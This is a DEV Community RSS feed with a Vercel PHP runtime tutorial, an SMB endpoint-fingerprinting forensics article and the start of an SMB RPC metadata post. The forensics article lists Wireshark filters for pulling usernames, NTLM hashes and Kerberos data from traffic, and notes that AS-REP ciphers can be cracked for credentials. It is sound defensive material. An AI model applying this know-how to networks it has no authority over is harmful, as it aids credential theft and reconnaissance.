<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: NetrixOne</title>
    <description>The latest articles on DEV Community by NetrixOne (@nx1).</description>
    <link>https://dev.to/nx1</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Forganization%2Fprofile_image%2F1485%2F9f6610ad-8623-4be2-bd27-51e1a9183058.png</url>
      <title>DEV Community: NetrixOne</title>
      <link>https://dev.to/nx1</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/nx1"/>
    <language>en</language>
    <item>
      <title>Vercel PHP: PHP 8.4 &amp; PHP 8.5</title>
      <dc:creator>Milan Felix Šulc</dc:creator>
      <pubDate>Wed, 21 Jan 2026 09:21:25 +0000</pubDate>
      <link>https://dev.to/nx1/vercel-php-php-84-php-85-18ch</link>
      <guid>https://dev.to/nx1/vercel-php-php-84-php-85-18ch</guid>
      <description>&lt;p&gt;Back in the ZEIT Now days, I wrote a couple of posts about running PHP on “a frontend platform” and shipping tiny serverless endpoints next to static sites:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://dev.to/nx1/bleeding-edge-php-on-zeit-now-565g"&gt;https://dev.to/nx1/bleeding-edge-php-on-zeit-now-565g&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://dev.to/nx1/deploy-static-frontend-php-files-using-zeit-now-mg"&gt;https://dev.to/nx1/deploy-static-frontend-php-files-using-zeit-now-mg&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://community.vercel.com/t/vercel-php/31428" rel="noopener noreferrer"&gt;https://community.vercel.com/t/vercel-php/31428&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Fast-forward: ZEIT is now Vercel, and the community PHP runtime has matured into a pretty practical way to run PHP on &lt;strong&gt;Vercel Functions&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;And there’s fresh news: &lt;strong&gt;v0.8.0 adds PHP 8.4&lt;/strong&gt;, and &lt;strong&gt;v0.9.0 adds PHP 8.5&lt;/strong&gt; 🎉&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Runtime repo: &lt;a href="https://github.com/vercel-community/php/" rel="noopener noreferrer"&gt;https://github.com/vercel-community/php/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Announcement thread: &lt;a href="https://community.vercel.com/t/vercel-php/31428" rel="noopener noreferrer"&gt;https://community.vercel.com/t/vercel-php/31428&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  What shipped
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;vercel-php@0.8.0&lt;/code&gt; → &lt;strong&gt;PHP 8.4.x&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;vercel-php@0.9.0&lt;/code&gt; → &lt;strong&gt;PHP 8.5.x&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Why you might care about PHP 8.4 / 8.5
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;PHP 8.4&lt;/strong&gt; is a major language update with features like &lt;strong&gt;property hooks&lt;/strong&gt;, &lt;strong&gt;asymmetric visibility&lt;/strong&gt;, DOM updates, and general performance/cleanup.&lt;br&gt;&lt;br&gt;
Release notes: &lt;a href="https://www.php.net/releases/8.4/en.php" rel="noopener noreferrer"&gt;https://www.php.net/releases/8.4/en.php&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;PHP 8.5&lt;/strong&gt; (released &lt;strong&gt;Nov 20, 2025&lt;/strong&gt;) adds goodies like a built-in &lt;strong&gt;URI&lt;/strong&gt; extension and the &lt;strong&gt;pipe operator (&lt;code&gt;|&amp;gt;&lt;/code&gt;)&lt;/strong&gt;, plus other improvements.&lt;br&gt;&lt;br&gt;
Release notes: &lt;a href="https://www.php.net/releases/8.5/en.php" rel="noopener noreferrer"&gt;https://www.php.net/releases/8.5/en.php&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you’re deploying micro-APIs, webhooks, “backend-for-frontend” endpoints, or lightweight PHP apps on Vercel, being able to pin a modern runtime version is a big deal.&lt;/p&gt;


&lt;h2&gt;
  
  
  The runtime in one sentence
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;vercel-php&lt;/code&gt; is a community runtime that runs your PHP code inside &lt;strong&gt;Vercel Functions&lt;/strong&gt;, with Composer support and a bunch of bundled extensions.&lt;/p&gt;

&lt;p&gt;Repo: &lt;a href="https://github.com/vercel-community/php/" rel="noopener noreferrer"&gt;https://github.com/vercel-community/php/&lt;/a&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  Quickstart: “Hello PHP” on Vercel (PHP 8.5)
&lt;/h2&gt;

&lt;p&gt;Minimal structure:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;project/
├─ api/
│  └─ index.php
└─ vercel.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;&lt;code&gt;api/index.php&lt;/code&gt;&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'content-type: application/json'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nb"&gt;json_encode&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;
  &lt;span class="s1"&gt;'ok'&lt;/span&gt;  &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="s1"&gt;'php'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;PHP_VERSION&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="s1"&gt;'sapi'&lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;php_sapi_name&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;&lt;code&gt;vercel.json&lt;/code&gt;&lt;/strong&gt; (pin &lt;strong&gt;PHP 8.5&lt;/strong&gt;)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"functions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"api/*.php"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"runtime"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"vercel-php@0.9.0"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Deploy with the Vercel CLI or the Dashboard. Done.&lt;/p&gt;

&lt;p&gt;If you want a canonical “works out of the box” demo, there’s also a tiny landing/demo here:&lt;br&gt;&lt;br&gt;
&lt;a href="https://php.vercel.app/" rel="noopener noreferrer"&gt;https://php.vercel.app/&lt;/a&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  Want PHP 8.4 instead?
&lt;/h2&gt;

&lt;p&gt;Same setup—just change the runtime version:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"functions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"api/*.php"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"runtime"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"vercel-php@0.8.0"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  “Route everything to index.php” (classic app style)
&lt;/h2&gt;

&lt;p&gt;If you’re adapting a small framework/router or want a single entrypoint:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"functions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"api/index.php"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"runtime"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"vercel-php@0.9.0"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"routes"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"src"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/(.*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"dest"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/api/index.php"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Composer support (yes)
&lt;/h2&gt;

&lt;p&gt;If you have dependencies:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;project/
├─ api/
│  └─ index.php
├─ composer.json
└─ vercel.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Practical tip: add a &lt;code&gt;.vercelignore&lt;/code&gt; and ignore &lt;code&gt;/vendor&lt;/code&gt; so you don’t upload it—let the build install deps instead.&lt;/p&gt;




&lt;h2&gt;
  
  
  Tuning Function limits (duration + memory)
&lt;/h2&gt;

&lt;p&gt;You can configure per-function limits in &lt;code&gt;vercel.json&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"functions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"api/*.php"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"runtime"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"vercel-php@0.9.0"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"memory"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"maxDuration"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note: Duration limits depend on your Vercel plan and whether features like Fluid Compute are enabled.&lt;br&gt;&lt;br&gt;
Docs: &lt;a href="https://vercel.com/docs/functions/configuring-functions/duration" rel="noopener noreferrer"&gt;https://vercel.com/docs/functions/configuring-functions/duration&lt;/a&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  Overriding php.ini
&lt;/h2&gt;

&lt;p&gt;Need custom INI settings? Drop a &lt;code&gt;php.ini&lt;/code&gt; next to your handlers:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;api/
├─ index.php
└─ php.ini
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="py"&gt;memory_limit&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;1024M&lt;/span&gt;
&lt;span class="py"&gt;disable_functions&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"exec,system"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  A couple of gotchas
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Local dev&lt;/strong&gt;: the runtime ecosystem historically hasn’t been perfect with &lt;code&gt;vercel dev&lt;/code&gt; in every setup. If you hit issues, the simplest fallback is using PHP’s built-in server locally and treating Vercel as your deploy target.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Config file choice&lt;/strong&gt;: Vercel supports &lt;code&gt;vercel.json&lt;/code&gt; or &lt;code&gt;vercel.ts&lt;/code&gt; (programmatic), but you typically use one configuration approach per project.
Docs: &lt;a href="https://vercel.com/docs/projects/project-configuration" rel="noopener noreferrer"&gt;https://vercel.com/docs/projects/project-configuration&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Upgrading from older pins
&lt;/h2&gt;

&lt;p&gt;If you’re already using &lt;code&gt;vercel-php&lt;/code&gt;, upgrading is often just changing the runtime string:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;vercel-php@0.7.x&lt;/code&gt; → &lt;code&gt;vercel-php@0.8.0&lt;/code&gt; (PHP 8.4)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;vercel-php@0.8.x&lt;/code&gt; → &lt;code&gt;vercel-php@0.9.0&lt;/code&gt; (PHP 8.5)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Then:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;make sure your &lt;code&gt;composer.json&lt;/code&gt; PHP constraint matches (e.g. &lt;code&gt;^8.4&lt;/code&gt; / &lt;code&gt;^8.5&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;run tests&lt;/li&gt;
&lt;li&gt;deploy to a Preview URL and hit the endpoints&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Links
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Runtime repo: &lt;a href="https://github.com/vercel-community/php/" rel="noopener noreferrer"&gt;https://github.com/vercel-community/php/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Announcement thread: &lt;a href="https://community.vercel.com/t/vercel-php/31428" rel="noopener noreferrer"&gt;https://community.vercel.com/t/vercel-php/31428&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Demo: &lt;a href="https://php.vercel.app/" rel="noopener noreferrer"&gt;https://php.vercel.app/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;PHP 8.4 release notes: &lt;a href="https://www.php.net/releases/8.4/en.php" rel="noopener noreferrer"&gt;https://www.php.net/releases/8.4/en.php&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;PHP 8.5 release notes: &lt;a href="https://www.php.net/releases/8.5/en.php" rel="noopener noreferrer"&gt;https://www.php.net/releases/8.5/en.php&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Vercel function duration: &lt;a href="https://vercel.com/docs/functions/configuring-functions/duration" rel="noopener noreferrer"&gt;https://vercel.com/docs/functions/configuring-functions/duration&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Vercel project configuration: &lt;a href="https://vercel.com/docs/projects/project-configuration" rel="noopener noreferrer"&gt;https://vercel.com/docs/projects/project-configuration&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>php</category>
      <category>vercel</category>
      <category>serverless</category>
      <category>devops</category>
    </item>
    <item>
      <title>SMB: endpoint fingerprinting</title>
      <dc:creator>Petr Stuchlík</dc:creator>
      <pubDate>Mon, 02 Mar 2020 08:46:38 +0000</pubDate>
      <link>https://dev.to/nx1/endpoint-fingerprinting-11op</link>
      <guid>https://dev.to/nx1/endpoint-fingerprinting-11op</guid>
      <description>&lt;p&gt;&lt;strong&gt;Welcome to another article on network forensics. We are still talking about the SMB protocol family, but this time let's focus on messages that carry hints about the connected endpoints. These hints can be used to infer knowledge about the client and server (e.g. OS version). This process is called fingerprinting.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Protocol negotiation
&lt;/h2&gt;

&lt;p&gt;SMB1 &lt;a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cifs/25c8c3c9-58fc-4bb8-aa8f-0272dede84c5"&gt;NegotiateProtocolRequest&lt;/a&gt; (&lt;code&gt;smb.cmd == 0x72&lt;/code&gt;) carries information about the dialects that the client understands. Similarly SMB2 &lt;a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e14db7ff-763a-4263-8b10-0c3944f52fc5"&gt;NEGOTIATE request&lt;/a&gt; (&lt;code&gt;smb2.cmd == 0&lt;/code&gt;) contains a list of client's dialects and SMB 3.x capabilities. These bits are specific to client implementation (or configuration) and thus can be used as part of the client's fingerprint.&lt;/p&gt;

&lt;p&gt;The same applies for the response as well. Fields like server capabilities&lt;br&gt;
(&lt;code&gt;smb.server_cap&lt;/code&gt;), system time (&lt;code&gt;smb.system.time&lt;/code&gt;), time zone (&lt;code&gt;smb.server_timezone&lt;/code&gt;), boot time (&lt;code&gt;smb2.boot_time&lt;/code&gt;) or authentication mechanisms (&lt;code&gt;spnego.mechTypes&lt;/code&gt;) can tell a lot about the server endpoint.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--tPUhFgFn--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/wyalaw0hvsi4o8m4efyh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--tPUhFgFn--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/wyalaw0hvsi4o8m4efyh.png" alt="smb negotiation response"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Wireshark filter:&lt;/strong&gt; &lt;code&gt;smb.cmd == 0x72 or smb2.cmd == 0&lt;/code&gt;&lt;br&gt;
&lt;strong&gt;PCAP sample:&lt;/strong&gt; &lt;a href="https://wiki.wireshark.org/SMB2?action=AttachFile&amp;amp;do=view&amp;amp;target=smb-on-windows-10.pcapng"&gt;smb-on-windows-10.pcapng&lt;/a&gt; on Wireshark wiki&lt;/p&gt;

&lt;h2&gt;
  
  
  NTLM authentication
&lt;/h2&gt;

&lt;p&gt;NTLM authentication has been long superseded by a more secure Kerberos, but in my experience it can still be found wildly in public institutions and smaller companies and sometimes even in corporate networks. From a forensic POV we are mainly interested in usernames, hostnames and NTLM hashes:     &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--WQbv2Jxy--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/q1evx42pml1vvq29dyi2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--WQbv2Jxy--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/q1evx42pml1vvq29dyi2.png" alt="username in ntlmssp packet"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Wireshark filter:&lt;/strong&gt; &lt;code&gt;ntlmssp&lt;/code&gt; (or &lt;code&gt;gss-api&lt;/code&gt; for all negotiation packets)&lt;br&gt;
&lt;strong&gt;PCAP sample:&lt;/strong&gt; &lt;a href="https://wiki.wireshark.org/SMB2?action=AttachFile&amp;amp;do=view&amp;amp;target=smb-on-windows-10.pcapng"&gt;smb-on-windows-10.pcapng&lt;/a&gt; on Wireshark wiki&lt;/p&gt;

&lt;h2&gt;
  
  
  Kerberos authentication
&lt;/h2&gt;

&lt;p&gt;In case of Kerberos there are still useful metadata like realm aka. domain name (&lt;code&gt;kerberos.crealm&lt;/code&gt;), principals aka. user/server names (&lt;code&gt;kerberos.cname&lt;/code&gt;/&lt;code&gt;kerberos.pname&lt;/code&gt;/&lt;code&gt;kerberos.sname&lt;/code&gt;), auth period (&lt;code&gt;kerberos.from&lt;/code&gt;/&lt;code&gt;kerberos.til&lt;/code&gt;) and more.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--8OR7sp0H--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/2jtknlot20ixyvr6s3n4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--8OR7sp0H--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/2jtknlot20ixyvr6s3n4.png" alt="kerberos packet"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Also, Kerberos AS-REPs (&lt;code&gt;kerberos.cipher&lt;/code&gt; field) can sometimes be cracked to yield credentials &lt;a href="https://blog.xpnsec.com/kerberos-attacks-part-2/"&gt;e.g. with John the Ripper&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Wireshark filter:&lt;/strong&gt; &lt;code&gt;kerberos&lt;/code&gt; (or gss-api for all negotiation packets)&lt;br&gt;
&lt;strong&gt;PCAP sample:&lt;/strong&gt; &lt;a href="https://www.pcapr.net/view/alejandro.ayala/2009/2/2/11/Kerberos-CIFS.Cap.html"&gt;Kerberos-CIFS.Cap&lt;/a&gt; at pcapr&lt;/p&gt;

&lt;h2&gt;
  
  
  SPOOLSS GetPrinterData
&lt;/h2&gt;

&lt;p&gt;OK this is probably a really niché case, but hey, that's what forensics is all about. When using a shared network printer, MS Spool Subsystem (&lt;code&gt;spoolss&lt;/code&gt;) is typically used over SMB/RPC stack. Once that printer is available, the OS can request various printer data using &lt;a href="https://docs.microsoft.com/en-us/windows/win32/printdocs/getprinterdata"&gt;&lt;code&gt;GetPrinterData&lt;/code&gt;&lt;/a&gt; function. Inspecting these data can reveal interesting bits, e.g. OS Version of the print server.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--rdfxjP90--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/rj9lam6odcbkrs3vnik3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--rdfxjP90--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/rj9lam6odcbkrs3vnik3.png" alt="smb spoolss getprinterdata response"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Wirehsark filter:&lt;/strong&gt; &lt;code&gt;spoolss.printerdata&lt;/code&gt;&lt;/p&gt;




&lt;p&gt;If you're interested in reading more about OS/application/device fingerprinting, there's sadly not many links I could point you to. Tools like &lt;a href="http://lcamtuf.coredump.cx/p0f3/"&gt;p0f&lt;/a&gt; or &lt;a href="https://nmap.org/book/man-os-detection.html"&gt;nmap&lt;/a&gt; can provide a good start. You can also read &lt;a href="https://securitytrails.com/blog/cybersecurity-fingerprinting"&gt;this post by SecurityTrails&lt;/a&gt; which summarizes different means of fingerprinting including SSH or TLS protocols.&lt;/p&gt;

&lt;h2&gt;
  
  
  References
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://blog.f-secure.com/endpoint-detection-of-remote-service-creation-and-psexec/"&gt;F-Secure: Endpoint Detection of Remote Service Creation and PsExec&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://401trg.com/an-introduction-to-smb-for-network-security-analysts/amp/"&gt;401TRG: An Introduction to SMB for Network Security Analysts&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.xpnsec.com/kerberos-attacks-part-2/"&gt;XPN: Kerberos AD Attacks - More Roasting with AS-REP&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>security</category>
      <category>network</category>
      <category>dfir</category>
      <category>smb</category>
    </item>
    <item>
      <title>SMB: metadata in RPC</title>
      <dc:creator>Petr Stuchlík</dc:creator>
      <pubDate>Wed, 22 Jan 2020 16:58:42 +0000</pubDate>
      <link>https://dev.to/nx1/smb-metadata-in-rpc-468</link>
      <guid>https://dev.to/nx1/smb-metadata-in-rpc-468</guid>
      <description>&lt;p&gt;&lt;em&gt;They call it DCE/RPC, but at the end of the day it's just a huge pile of cleartext metadata on your network.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;This is another article in the series on metadata for network forensics. In the &lt;a href="https://dev.to/nx1/smb-file-metadata-and-metadata-files-228h"&gt;previous article&lt;/a&gt; I gave some examples of metadata hiding in common SMB file transfers and today I am going to briefly describe Remote Procedure Calls over SMB.&lt;/strong&gt;&lt;/p&gt;

